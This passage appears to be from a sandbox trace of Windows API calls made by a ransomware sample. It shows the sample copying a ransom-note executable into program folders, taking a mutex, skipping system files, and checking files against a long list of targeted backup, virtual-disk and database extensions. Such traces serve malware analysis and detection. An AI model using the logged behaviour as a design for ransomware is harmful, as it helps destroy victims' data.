(lpString1="Java", lpString2="MSBuild") returned -1 [0042.114] lstrlenW (lpString="Java") returned 4 [0042.114] lstrcpyW (in: lpString1=0x241e890, lpString2="Java" | out: lpString1="Java") returned="Java" [0042.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f850 [0042.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x52f920 [0042.114] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0042.114] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0042.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.118] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0042.118] lstrcmpiW (lpString1="microsoft shared", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.118] lstrcmpiW (lpString1="microsoft shared", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2=".") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="..") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="windows") returned -1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="bootmgr") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="temp") returned -1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="pagefile.sys") returned -1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="boot") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="ids.txt") returned 1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="ntuser.dat") returned -1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="perflogs") returned -1 [0042.119] lstrcmpiW (lpString1="microsoft shared", lpString2="MSBuild") returned -1 [0042.119] lstrlenW (lpString="microsoft shared") returned 16 [0042.119] lstrcpyW (in: lpString1=0x241e890, lpString2="microsoft shared" | out: lpString1="microsoft shared") returned="microsoft shared" [0042.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f868 [0042.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d318 [0042.119] lstrcatW (in: lpString1="microsoft shared", lpString2="\\" | out: lpString1="microsoft shared\\") returned="microsoft shared\\" [0042.119] lstrcatW (in: lpString1="microsoft shared\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="microsoft shared\\HOW TO BACK YOUR FILES.exe") returned="microsoft shared\\HOW TO BACK YOUR FILES.exe" [0042.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.121] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="temp") returned -1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="pagefile.sys") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="boot") returned 1 [0042.121] lstrcmpiW (lpString1="Services", lpString2="ids.txt") returned 1 [0042.122] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0042.122] lstrcmpiW (lpString1="Services", lpString2="perflogs") returned 1 [0042.122] lstrcmpiW (lpString1="Services", lpString2="MSBuild") returned 1 [0042.122] lstrlenW (lpString="Services") returned 8 [0042.122] lstrcpyW (in: lpString1=0x241e890, lpString2="Services" | out: lpString1="Services") returned="Services" [0042.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f880 [0042.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51bbb8 [0042.122] lstrcatW (in: lpString1="Services", lpString2="\\" | out: lpString1="Services\\") returned="Services\\" [0042.122] lstrcatW (in: lpString1="Services\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Services\\HOW TO BACK YOUR FILES.exe") returned="Services\\HOW TO BACK YOUR FILES.exe" [0042.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\services\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.130] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2=".") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="..") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="windows") returned -1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="bootmgr") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="temp") returned -1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="pagefile.sys") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="boot") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="ids.txt") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="ntuser.dat") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="perflogs") returned 1 [0042.130] lstrcmpiW (lpString1="SpeechEngines", lpString2="MSBuild") returned 1 [0042.130] lstrlenW (lpString="SpeechEngines") returned 13 [0042.130] lstrcpyW (in: lpString1=0x241e890, lpString2="SpeechEngines" | out: lpString1="SpeechEngines") returned="SpeechEngines" [0042.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f898 [0042.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e350 [0042.130] lstrcatW (in: lpString1="SpeechEngines", lpString2="\\" | out: lpString1="SpeechEngines\\") returned="SpeechEngines\\" [0042.130] lstrcatW (in: lpString1="SpeechEngines\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SpeechEngines\\HOW TO BACK YOUR FILES.exe") returned="SpeechEngines\\HOW TO BACK YOUR FILES.exe" [0042.130] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\speechengines\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.132] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0042.132] lstrcmpiW (lpString1="System", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.132] lstrcmpiW (lpString1="System", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.132] lstrcmpiW (lpString1="System", lpString2=".") returned 1 [0042.132] lstrcmpiW (lpString1="System", lpString2="..") returned 1 [0042.132] lstrcmpiW (lpString1="System", lpString2="windows") returned -1 [0042.133] lstrcmpiW (lpString1="System", lpString2="bootmgr") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="temp") returned -1 [0042.133] lstrcmpiW (lpString1="System", lpString2="pagefile.sys") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="boot") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="ids.txt") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="ntuser.dat") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="perflogs") returned 1 [0042.133] lstrcmpiW (lpString1="System", lpString2="MSBuild") returned 1 [0042.133] lstrlenW (lpString="System") returned 6 [0042.133] lstrcpyW (in: lpString1=0x241e890, lpString2="System" | out: lpString1="System") returned="System" [0042.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8b0 [0042.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52f980 [0042.133] lstrcatW (in: lpString1="System", lpString2="\\" | out: lpString1="System\\") returned="System\\" [0042.133] lstrcatW (in: lpString1="System\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="System\\HOW TO BACK YOUR FILES.exe") returned="System\\HOW TO BACK YOUR FILES.exe" [0042.133] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.143] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0042.143] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.143] ReleaseMutex (hMutex=0xec) returned 1 [0042.143] CloseHandle (hObject=0xec) returned 1 [0042.143] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Google" | out: lpString1="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0042.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f640 | out: hHeap=0x4f0000) returned 1 [0042.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c548 | out: hHeap=0x4f0000) returned 1 [0042.143] lstrlenW (lpString="C:\\Program Files (x86)\\Google") returned 29 [0042.143] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\43C656A7478FDF8EEEF23C8CF67882F1") returned 0xec [0042.143] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.143] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google" | out: lpString1="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0042.143] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.144] GetLastError () returned 0x0 [0042.144] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530908 [0042.144] ReadFile (in: hFile=0xf4, lpBuffer=0x530908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.145] CloseHandle (hObject=0xf4) returned 1 [0042.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.145] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.145] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc4fe560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.145] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.145] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.145] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.145] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc4fe560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.145] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.145] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.145] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.145] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.145] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe2c4d0, ftCreationTime.dwHighDateTime=0x1d50c7c, ftLastAccessTime.dwLowDateTime=0x63eec6f0, ftLastAccessTime.dwHighDateTime=0x1d4f980, ftLastWriteTime.dwLowDateTime=0x63eec6f0, ftLastWriteTime.dwHighDateTime=0x1d4f980, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="absolutely.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0042.145] lstrcmpiW (lpString1="absolutely.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.145] lstrcmpiW (lpString1="absolutely.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2=".") returned 1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="..") returned 1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="windows") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="bootmgr") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="temp") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="pagefile.sys") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="boot") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="ids.txt") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="ntuser.dat") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="perflogs") returned -1 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2="MSBuild") returned -1 [0042.146] lstrlenW (lpString="absolutely.exe") returned 14 [0042.146] lstrcpyW (in: lpString1=0x241e884, lpString2="absolutely.exe" | out: lpString1="absolutely.exe") returned="absolutely.exe" [0042.146] lstrlenW (lpString="absolutely.exe") returned 14 [0042.146] lstrlenW (lpString="Athena865") returned 9 [0042.146] lstrcmpiW (lpString1="utely.exe", lpString2="Athena865") returned 1 [0042.146] lstrlenW (lpString=".dll") returned 4 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2=".dll") returned 1 [0042.146] lstrlenW (lpString=".lnk") returned 4 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2=".lnk") returned 1 [0042.146] lstrlenW (lpString=".ini") returned 4 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2=".ini") returned 1 [0042.146] lstrlenW (lpString=".sys") returned 4 [0042.146] lstrcmpiW (lpString1="absolutely.exe", lpString2=".sys") returned 1 [0042.146] lstrlenW (lpString="absolutely.exe") returned 14 [0042.146] lstrlenW (lpString="bak") returned 3 [0042.146] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.146] lstrlenW (lpString="ba_") returned 3 [0042.146] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.146] lstrlenW (lpString="dbb") returned 3 [0042.146] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.146] lstrlenW (lpString="vmdk") returned 4 [0042.146] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.146] lstrlenW (lpString="rar") returned 3 [0042.146] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.146] lstrlenW (lpString="zip") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.147] lstrlenW (lpString="tgz") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.147] lstrlenW (lpString="vbox") returned 4 [0042.147] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.147] lstrlenW (lpString="vdi") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.147] lstrlenW (lpString="vhd") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.147] lstrlenW (lpString="vhdx") returned 4 [0042.147] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.147] lstrlenW (lpString="avhd") returned 4 [0042.147] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.147] lstrlenW (lpString="db") returned 2 [0042.147] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.147] lstrlenW (lpString="db2") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.147] lstrlenW (lpString="db3") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.147] lstrlenW (lpString="dbf") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.147] lstrlenW (lpString="mdf") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.147] lstrlenW (lpString="mdb") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.147] lstrlenW (lpString="sql") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.147] lstrlenW (lpString="sqlite") returned 6 [0042.147] lstrcmpiW (lpString1="ly.exe", lpString2="sqlite") returned -1 [0042.147] lstrlenW (lpString="sqlite3") returned 7 [0042.147] lstrcmpiW (lpString1="ely.exe", lpString2="sqlite3") returned -1 [0042.147] lstrlenW (lpString="sqlitedb") returned 8 [0042.147] lstrcmpiW (lpString1="tely.exe", lpString2="sqlitedb") returned 1 [0042.147] lstrlenW (lpString="xml") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.147] lstrlenW (lpString="$er") returned 3 [0042.147] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.148] lstrlenW (lpString="4dd") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.148] lstrlenW (lpString="4dl") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.148] lstrlenW (lpString="^^^") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.148] lstrlenW (lpString="abs") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.148] lstrlenW (lpString="abx") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.148] lstrlenW (lpString="accdb") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accdb") returned 1 [0042.148] lstrlenW (lpString="accdc") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accdc") returned 1 [0042.148] lstrlenW (lpString="accde") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accde") returned 1 [0042.148] lstrlenW (lpString="accdr") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accdr") returned 1 [0042.148] lstrlenW (lpString="accdt") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accdt") returned 1 [0042.148] lstrlenW (lpString="accdw") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accdw") returned 1 [0042.148] lstrlenW (lpString="accft") returned 5 [0042.148] lstrcmpiW (lpString1="y.exe", lpString2="accft") returned 1 [0042.148] lstrlenW (lpString="adb") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.148] lstrlenW (lpString="adb") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.148] lstrlenW (lpString="ade") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.148] lstrlenW (lpString="adf") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.148] lstrlenW (lpString="adn") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.148] lstrlenW (lpString="adp") returned 3 [0042.148] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.148] lstrlenW (lpString="alf") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.149] lstrlenW (lpString="ask") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.149] lstrlenW (lpString="btr") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.149] lstrlenW (lpString="cat") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.149] lstrlenW (lpString="cdb") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.149] lstrlenW (lpString="ckp") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.149] lstrlenW (lpString="cma") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.149] lstrlenW (lpString="cpd") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.149] lstrlenW (lpString="dacpac") returned 6 [0042.149] lstrcmpiW (lpString1="ly.exe", lpString2="dacpac") returned 1 [0042.149] lstrlenW (lpString="dad") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.149] lstrlenW (lpString="dadiagrams") returned 10 [0042.149] lstrcmpiW (lpString1="lutely.exe", lpString2="dadiagrams") returned 1 [0042.149] lstrlenW (lpString="daschema") returned 8 [0042.149] lstrcmpiW (lpString1="tely.exe", lpString2="daschema") returned 1 [0042.149] lstrlenW (lpString="db-journal") returned 10 [0042.149] lstrcmpiW (lpString1="lutely.exe", lpString2="db-journal") returned 1 [0042.149] lstrlenW (lpString="db-shm") returned 6 [0042.149] lstrcmpiW (lpString1="ly.exe", lpString2="db-shm") returned 1 [0042.149] lstrlenW (lpString="db-wal") returned 6 [0042.149] lstrcmpiW (lpString1="ly.exe", lpString2="db-wal") returned 1 [0042.149] lstrlenW (lpString="dbc") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.149] lstrlenW (lpString="dbs") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.149] lstrlenW (lpString="dbt") returned 3 [0042.149] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.149] lstrlenW (lpString="dbv") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.150] lstrlenW (lpString="dbx") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.150] lstrlenW (lpString="dcb") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.150] lstrlenW (lpString="dct") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.150] lstrlenW (lpString="dcx") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.150] lstrlenW (lpString="ddl") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.150] lstrlenW (lpString="dlis") returned 4 [0042.150] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.150] lstrlenW (lpString="dp1") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.150] lstrlenW (lpString="dqy") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.150] lstrlenW (lpString="dsk") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.150] lstrlenW (lpString="dsn") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.150] lstrlenW (lpString="dtsx") returned 4 [0042.150] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.150] lstrlenW (lpString="dxl") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.150] lstrlenW (lpString="eco") returned 3 [0042.150] lstrcmpiW (lpString1="exe", 